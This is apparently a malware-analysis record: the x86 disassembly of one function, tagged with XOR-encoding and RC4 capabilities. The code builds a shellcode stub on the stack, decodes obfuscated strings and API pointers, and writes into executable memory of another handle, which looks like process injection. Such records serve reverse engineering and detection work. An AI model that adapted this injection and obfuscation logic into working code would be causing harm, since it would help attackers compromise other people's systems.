Function at 0x1000f540
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1009330c
mov eax, dword fs:[0]
push eax
sub esp, 0x270
mov eax, dword [0x100b0380]
xor eax, esp
mov dword [esp + 0x268], eax
push ebx
push esi
push edi
mov eax, dword [0x100b0380]
xor eax, esp
push eax
lea eax, [esp + 0x280]
mov dword fs:[0], eax
push 4
call fcn.10079b72
mov esi, eax
push 4
mov dword [esp + 0x20], esi
call fcn.10079b72
mov edi, eax
mov dword [esp + 0x18], edi
call fcn.10079c4e
cdq
mov ecx, 0x65
idiv ecx
add edx, 2
mov dword [esi], edx
call fcn.10079c4e
cdq
mov ecx, 0x65
idiv ecx
mov al, 0x8b
mov cl, 8
push 0x208
mov byte [esp + 0x255], al
mov byte [esp + 0x257], al
mov byte [esp + 0x25f], al
mov byte [esp + 0x267], al
mov byte [esp + 0x26e], al
mov byte [esp + 0x271], al
mov al, 0xcc
mov bl, 0x74
mov byte [esp + 0x254], 0x55
mov byte [esp + 0x256], 0xec
mov byte [esp + 0x258], 0x45
mov byte [esp + 0x259], cl
mov byte [esp + 0x25b], 0x38
mov byte [esp + 0x25c], 0
mov byte [esp + 0x25d], bl
mov byte [esp + 0x25e], 0x16
mov byte [esp + 0x260], 0x4d
mov byte [esp + 0x261], cl
mov byte [esp + 0x263], 0xc1
mov byte [esp + 0x264], 4
mov byte [esp + 0x265], bl
add edx, 0x200
mov dword [edi], edx
mov dl, 0x83
xor edi, edi
mov byte [esp + 0x25a], dl
mov byte [esp + 0x262], dl
mov byte [esp + 0x26a], dl
lea edx, [esp + 0x44]
push edi
push edx
mov byte [esp + 0x26e], 0xe
mov byte [esp + 0x270], 0x55
mov byte [esp + 0x271], cl
mov byte [esp + 0x273], 0xc2
mov byte [esp + 0x274], 4
mov byte [esp + 0x275], 0x52
mov byte [esp + 0x277], 0x45
mov byte [esp + 0x278], cl
mov byte [esp + 0x27a], cl
mov byte [esp + 0x27b], 0xff
mov byte [esp + 0x27c], 0xd1
mov byte [esp + 0x27d], 0x5d
mov byte [esp + 0x27e], 0xc3
mov byte [esp + 0x27f], al
mov byte [esp + 0x280], al
mov byte [esp + 0x281], al
mov byte [esp + 0x282], al
mov byte [esp + 0x283], al
mov byte [esp + 0x284], al
mov byte [esp + 0x285], al
mov byte [esp + 0x286], al
mov byte [esp + 0x287], al
mov byte [esp + 0x288], al
mov byte [esp + 0x289], al
mov byte [esp + 0x28a], al
mov byte [esp + 0x28b], al
mov dword [esp + 0x48], edi
call fcn.1007dcf0
mov dword [esp + 0x40], edi
push 0x100da440
push 0xd
mov dword [esp + 0x4c], edi
lea ebx, [edi + 0x15]
call fcn.10079cfe
mov esi, eax
add esp, 0x1c
mov dword [esp + 0x2c], esi
cmp esi, edi
je 0x1000f796
mov ecx, 0x1009ebf0
xor eax, eax
sub ecx, esi
lea edi, [eax + esi]
mov dl, byte [ecx + edi]
xor dl, bl
mov byte [edi], dl
mov edx, eax
xor edx, 0x2a
add edx, ebx
and edx, 0xff
inc eax
cmp eax, 0xc
mov ebx, edx
jl 0x1000f771
mov byte [esi + 0xc], 0
xor edi, edi
mov dword [esp + 0x288], edi
xor ecx, ecx
mov eax, 0xd
mov edx, 2
mul edx
seto cl
push 0x100da440
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov edi, 0x3b
neg ecx
or ecx, eax
push ecx
call fcn.10079cfe
mov ebx, eax
add esp, 8
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], ebx
test ebx, ebx
je 0x1000f812
mov edx, 0x1009eb70
xor eax, eax
mov ecx, ebx
sub edx, ebx
mov bx, word [edx + ecx]
xor bx, di
mov word [ecx], bx
mov ebx, eax
xor ebx, 0x2a
add ebx, edi
and ebx, 0xff
inc eax
add ecx, 2
cmp eax, 0xc
mov edi, ebx
jl 0x1000f7e6
mov ebx, dword [esp + 0x14]
xor eax, eax
mov word [ebx + 0x18], ax
mov byte [esp + 0x288], 1
mov ecx, dword [0x100e38a0]
mov edx, dword [0x100e3948]
mov eax, ecx
xor eax, dword [0x100e389c]
cmp edx, eax
je 0x1000f84a
mov eax, dword [0x100e3898]
xor eax, dword [0x100e3894]
push ebx
add eax, edx
call eax
mov ecx, dword [0x100e38a0]
jmp 0x1000f84c
xor eax, eax
xor ecx, dword [0x100e389c]
mov edx, dword [0x100e3954]
cmp edx, ecx
je 0x1000f870
mov ecx, dword [0x100e3898]
xor ecx, dword [0x100e3894]
push esi
add ecx, edx
push eax
call ecx
jmp 0x1000f872
xor eax, eax
mov dword [esp + 0x34], eax
mov byte [esp + 0x288], 0
test ebx, ebx
je 0x1000f893
push ebx
call fcn.10079d09
add esp, 4
mov dword [esp + 0x20], 0
or edi, 0xffffffff
mov dword [esp + 0x288], edi
test esi, esi
je 0x1000f8b2
push esi
call fcn.10079d09
add esp, 4
mov dword [esp + 0x2c], 0
cmp dword [esp + 0x34], 0
jne 0x1000f8d7
mov ecx, dword [esp + 0x18]
push ecx
call fcn.10079c70
mov edx, dword [esp + 0x14]
push edx
call fcn.10079c70
add esp, 8
xor eax, eax
jmp 0x1000fb6d
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x38]
mov ecx, eax
mov edx, 0x104
sub esi, ecx
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x1000f907
movzx ecx, word [esi + eax]
test cx, cx
je 0x1000f907
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x1000f8e7
jmp 0x1000f90b
test edx, edx
jne 0x1000f90e
sub eax, 2
mov ecx, dword [0x100e39ac]
xor edx, edx
mov word [eax], dx
mov eax, dword [0x100e38a0]
xor eax, dword [0x100e389c]
cmp ecx, eax
je 0x1000f942
mov eax, dword [0x100e3898]
xor eax, dword [0x100e3894]
add eax, ecx
mov ecx, dword [ebp + 8]
push ecx
push edx
push 0x3a
call eax
mov esi, eax
jmp 0x1000f944
xor esi, esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x288], 2
xor eax, eax
cmp esi, eax
jne 0x1000f97e
mov edx, dword [esp + 0x18]
push edx
call fcn.10079c70
mov eax, dword [esp + 0x14]
push eax
call fcn.10079c70
add esp, 8
mov dword [esp + 0x288], edi
xor eax, eax
jmp 0x1000fb6d
mov ecx, dword [ebp + 8]
push ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
call fcn.10003360
mov ecx, dword [0x100e38a0]
xor ecx, dword [0x100e389c]
mov edx, dword [0x100e39b0]
add esp, 4
cmp edx, ecx
je 0x1000f9c2
mov ecx, dword [0x100e3898]
xor ecx, dword [0x100e3894]
push eax
xor ebx, ebx
push ebx
add ecx, edx
push 0x18
call ecx
mov edi, eax
jmp 0x1000f9c6
xor edi, edi
xor ebx, ebx
mov dword [esp + 0x14], edi
mov byte [esp + 0x288], 3
cmp edi, ebx
jne 0x1000fa0a
mov edx, dword [esp + 0x18]
push edx
call fcn.10079c70
mov eax, dword [esp + 0x14]
push eax
call fcn.10079c70
add esp, 8
mov dword [esp + 0x288], 0xffffffff
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x1c], ebx
xor eax, eax
jmp 0x1000fb6d
lea ecx, [esp + 0x24]
push ecx
push 4
push 4
push 0x20c
lea edx, [esp + 0x44]
push edx
push esi
call fcn.10003570
add esp, 0x18
test eax, eax
jne 0x1000fa6f
mov eax, dword [esp + 0x18]
push eax
call fcn.10079c70
mov ecx, dword [esp + 0x14]
push ecx
call fcn.10079c70
add esp, 8
mov byte [esp + 0x288], 2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x288], 0xffffffff
push esi
call edi
mov dword [esp + 0x1c], ebx
xor eax, eax
jmp 0x1000fb6d
lea edx, [esp + 0x28]
push edx
push 0x40
push 0x40
push 0x30
lea eax, [esp + 0x258]
push eax
push esi
call fcn.10003570
add esp, 0x18
test eax, eax
jne 0x1000fad4
mov ecx, dword [esp + 0x18]
push ecx
call fcn.10079c70
mov edx, dword [esp + 0x14]
push edx
call fcn.10079c70
add esp, 8
mov byte [esp + 0x288], 2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov dword [esp + 0x14], ebx
mov dword [esp + 0x288], 0xffffffff
push esi
call edi
mov dword [esp + 0x1c], ebx
xor eax, eax
jmp 0x1000fb6d
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
push edi
push eax
push ecx
push esi
call fcn.10003a90
add esp, 0x10
test eax, eax
jne 0x1000fb2c
mov edx, dword [esp + 0x18]
push edx
call fcn.10079c70
mov eax, dword [esp + 0x14]
push eax
call fcn.10079c70
add esp, 8
mov byte [esp + 0x288], 2
lea esi, [esp + 0x14]
call fcn.10014080
mov dword [esp + 0x288], 0xffffffff
lea esi, [esp + 0x1c]
call fcn.10014080
xor eax, eax
jmp 0x1000fb6d
mov ecx, dword [esp + 0x18]
push ecx
call fcn.10079c70
mov edx, dword [esp + 0x14]
push edx
call fcn.10079c70
add esp, 8
mov byte [esp + 0x288], 2
lea esi, [esp + 0x14]
call fcn.10014080
mov dword [esp + 0x288], 0xffffffff
lea esi, [esp + 0x1c]
call fcn.10014080
mov eax, 1
mov ecx, dword [esp + 0x280]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x268]
xor ecx, esp
call fcn.10079a05
mov esp, ebp
pop ebp
ret